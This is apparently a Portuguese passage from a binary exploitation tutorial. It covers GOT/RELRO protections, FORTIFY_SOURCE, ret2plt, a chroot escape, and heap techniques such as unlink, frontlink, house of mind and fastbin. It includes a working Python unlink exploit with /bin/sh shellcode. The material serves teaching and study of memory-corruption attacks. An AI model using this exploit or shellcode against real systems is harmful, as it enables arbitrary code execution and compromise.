0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Para o binário sem relro, podemos ver que o endereço de entrada got
para fgets
é 0x404018
. Olhando para os mapeamentos de memória, vemos que ele está entre 0x404000
e 0x405000
, que tem as permissões rw
, significando que podemos ler e escrever nele. Para o binário com relro, vemos que o endereço da tabela got
para a execução do binário (pie está habilitado, então este endereço mudará) é 0x555555557fd0
. No mapeamento de memória desse binário, ele está entre 0x0000555555557000
e 0x0000555555558000
, que tem a permissão de memória r
, significando que só podemos ler dele.
Então, qual é o bypass? O bypass típico que uso é simplesmente não escrever em regiões de memória que o relro faz serem somente leitura e encontrar uma maneira diferente de obter execução de código.
Note que, para que isso aconteça, o binário precisa conhecer previamente os endereços das funções:
- Lazy binding: O endereço de uma função é procurado na primeira vez que a função é chamada. Assim, o GOT precisa ter permissões de escrita durante a execução.
- Bind now: Os endereços das funções são resolvidos no início da execução, depois permissões somente leitura são dadas a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr.
`**
-z relro**
e**
-z now`**
Para verificar se um programa usa Bind now, você pode fazer:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
Quando o binário é carregado na memória e uma função é chamada pela primeira vez, salta-se para a PLT (Procedure Linkage Table). Daqui, realiza-se um salto (jmp) para a GOT e descobre-se que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Assim, invoca-se o Runtime Linker ou rtfd para resolver o endereço e guardá-lo na GOT.
Quando se chama uma função, chama-se a PLT, que tem o endereço da GOT onde se armazena o endereço da função, redirecionando o fluxo para lá e chamando a função. No entanto, se é a primeira vez que a função é chamada, o que está na GOT é a instrução seguinte da PLT, então o fluxo segue o código da PLT (rtfd) para descobrir o endereço da função, guardá-lo na GOT e chamá-lo.
Ao carregar um binário na memória, o compilador indica em que offset devem ser colocados dados que devem ser carregados quando o programa é executado.
Lazy binding —> O endereço da função é procurado na primeira vez que a função é invocada, então a GOT tem permissões de escrita para que, ao procurar, o endereço seja guardado lá e não seja necessário procurar novamente.
Bind now —> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. **-z relro** e **-z now**
Apesar disso, geralmente os programas não são compilados com essas opções, então esses ataques ainda são possíveis.
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> Para saber se usam o BIND NOW
**Fortify Source -D_FORTIFY_SOURCE=1 ou =2**
Tenta identificar funções que copiam de um local para outro de forma insegura e trocar a função por uma segura.
Por exemplo:\
char buf[16];\
strcpy(but, source);
Identifica como insegura e então troca strcpy() por __strcpy_chk(), usando o tamanho do buffer como tamanho máximo a copiar.
A diferença entre **=1** ou **=2** é que:
A segunda não permite que **%n** venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só se pode usar **%3$d** se antes tiver usado **%2$d** e **%1$d**
Para mostrar a mensagem de erro, usa-se o argv[0], então se colocar no argv[0] o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191
**Substituição de Libsafe**
Ativa-se com: LD_PRELOAD=/lib/libsafe.so.2\
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Intercepta chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (só para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis são seguradas e LD_PRELOAD não funciona em binários com suid).
**ASCII Armored Address Space**
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se quer chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e copia-se o segundo byte de system()... No final, chama-se o endereço guardado na GOT que será system()
**Falso EBP**
Para funções que usam o EBP como registro para apontar para os argumentos, ao modificar o EIP e apontar para system(), deve-se ter modificado o EBP também para que aponte para uma área de memória que tenha 2 bytes quaisquer e depois o endereço para &"/bin/sh".
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de código**
Valgrind —> Procura erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Troço atribuído**
prev_size |\
size | —Cabeçalho\
*mem | Dados
**Troço livre**
prev_size |\
size |\
*fd | Ponteiro para o próximo troço\
*bk | Ponteiro para o troço anterior —Cabeçalho\
*mem | Dados
Os troços livres estão numa lista duplamente ligada (bin) e nunca podem haver dois troços livres juntos (são combinados).
No "size" há bits para indicar: Se o troço anterior está em uso, se o troço foi atribuído através de mmap() e se o troço pertence ao arena principal.
Se ao libertar um troço algum dos contíguos estiver livre, eles são combinados através da macro unlink() e o novo troço maior é passado para frontlink() para ser inserido no bin adequado.
unlink(){\
BK = P->bk; —> O BK do novo troço é o que tinha o troço livre anterior\
FD = P->fd; —> O FD do novo troço é o que tinha o troço livre anterior\
FD->bk = BK; —> O BK do próximo troço aponta para o novo troço\
BK->fd = FD; —> O FD do troço anterior aponta para o novo troço\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = &shellcode\
FD = P->fd = &__dtor_end__ - 12\
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
E assim, ao sair do programa, executa-se o shellcode.
Além disso, a 4ª instrução de unlink() escreve algo e o shellcode tem que estar preparado para isso:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Isso causa a escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para saltar isso e cair em nops que levam ao resto do shellcode.
Portanto, o exploit é criado:
No buffer1 colocamos o shellcode começando com um jmp para que caia nos nops ou no resto do shellcode.
Depois do shellcode, colocamos preenchimento até chegar aos campos prev_size e size do próximo troço. Nesses locais colocamos 0xfffffff0 (para sobrescrever o prev_size para que tenha o bit que diz que está livre) e "-4" (0xfffffffc) no size (para que, ao verificar no 3º troço se o 2º estava livre, na realidade vá para o prev_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá para o size do 3º mas na realidade irá para o 2º - 4 e pensará que o 2º troço está livre. E então chamará **unlink()**.
Ao chamar unlink(), usará como P->fd os primeiros dados do 2º troço, então aí colocaremos o endereço que queremos sobrescrever - 12 (pois em FD->bk somará 12 ao endereço guardado em FD). E nesse endereço introduziremos a segunda direção que encontramos no 2º troço, que nos interessa que seja o endereço para o shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o troço anterior está livre esteja a 1**
**fake_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º troço está 4bytes atrás (aponta para prev_size) pois é aí que verifica se o 2º troço está livre**
**addr_sc = pack("\<I", 0x0804a008 + 8) #No payload no início vamos colocar 8bytes de relleno**
**got_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que será sobrescrito para que se lance o shellcode a 2ª vez que se chame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se disse, o payload começa com 8 bytes de relleno porque sim**
**payload += prev_size + fake_size + got_free + addr_sc #Modifica-se o 2º troço, o got_free aponta para onde vamos guardar o endereço addr_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 chunks consecutivos e são liberados em ordem inversa à reservada.
Nesse caso:
No chunk c colocamos o shellcode
O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV_INUSE desativado para que pense que o chunk a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.
Então, o programa pensará que “a” está livre e num bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV_SIZE vale -4, pensará que o troço de “a” realmente começa em b+4. Ou seja, fará um unlink() num troço que começa em b+4, então em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
Dessa forma, se colocarmos no bk o endereço do shellcode e no fd o endereço da função “puts()”-12, temos nosso payload.
**Técnica de Frontlink**
Chama-se a frontlink quando se liberta algo e nenhum dos seus troços contíguos é livre, não se chama a unlink() mas sim diretamente a frontlink().
Vulnerabilidade útil quando o malloc que se ataca nunca é libertado (free()).
Necessita:
Um buffer que possa ser desbordado com a função de entrada de dados
Um buffer contíguo a este que deve ser libertado e ao qual se modificará o campo fd do seu cabeçalho graças ao desbordamento do buffer anterior
Um buffer a ser libertado com um tamanho maior a 512 mas menor que o buffer anterior
Um buffer declarado antes do passo 3 que permita sobrescrever o prev_size deste
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e num de forma controlada mas que só se liberta esse um, podemos fazer um exploit.
**Vulnerabilidade double free()**
Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço.
Caso se queira voltar a usar um, será atribuído sem problemas. Caso se queira usar outro, será atribuído o mesmo espaço, então teremos os ponteiros “fd” e “bk” falseados com os dados que escreverá a reserva anterior.
**After free()**
Um ponteiro previamente libertado é usado de novo sem controle.
## **8 Heap Overflows: Exploits avançados**
As técnicas de Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().
**The house of mind**
Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. Interessa procurar um segundo troço que possa ser desbordado por um anterior e libertado.
Uma chamada a free() provoca chamar a public_fREe(mem), este faz:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Devolve um ponteiro para o endereço onde começa o troço (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
Em [1] verifica o campo size o bit NON_MAIN_ARENA, o qual se pode alterar para que a verificação devolva true e execute heap_for_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acede a 0x08000000->ar_ptr (como se fosse um struct heap_info)
Dessa forma, se podemos controlar um troço por exemplo em 0x0804a000 e vai-se libertar um troço em **0x081002a0** podemos chegar à direção 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando este segundo troço se libertar, encontrará que heap_for_ptr(ptr)->ar_ptr devolve o que escrevemos em 0x08100000 (pois aplica-se a 0x081002a0 o and que vimos antes e daí tira-se o valor dos 4 primeiros bytes, o ar_ptr)
Dessa forma, chama-se a _int_free(ar_ptr, mem), ou seja, **_int_free(0x0804a000, 0x081002a0)**\
**_int_free(mstate av, Void_t* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no troço que vai ser libertado.
Tal como se define unsorted_chunks, sabemos que:\
bck = &av->bins[2]-8;\
fwd = bck->fd = *(av->bins[2]);\
fwd->bk = *(av->bins[2] + 12) = p;
Portanto, se em av->bins[2] escrevermos o valor de __DTOR_END__-12 na última instrução, escrever-se-á em __DTOR_END__ o endereço do segundo troço.
Ou seja, no primeiro troço temos que colocar no início muitas vezes o endereço de __DTOR_END__-12 porque daí tirará av->bins[2]
Na direção que caia o endereço do segundo troço com os últimos 5 zeros temos que escrever o endereço a este primeiro troço para que heap_for_ptr() pense que o ar_ptr está no início do primeiro troço e tire daí o av->bins[2]
No segundo troço e graças ao primeiro sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
A seguir no troço 2 colocamos muitos nops e finalmente o shellcode
Dessa forma, chamar-se-á a _int_free(TROZO1, TROZO2) e seguir-se-ão as instruções para escrever em __DTOR_END__ o endereço do prev_size do TROZO2 que saltará para o shellcode.
Para aplicar esta técnica é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
Esta técnica já não é aplicável pois aplicou-se quase o mesmo patch que para unlink. Comparam-se se o novo sítio ao qual se aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind
Interessa-nos chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Dessa forma, se se colocar em “fb” a direção de uma função na GOT, nessa direção colocar-se-á a direção ao troço sobrescrito. Para isso será necessário que a arena esteja perto das direções de dtors. Mais exatamente que av->max_fast esteja na direção que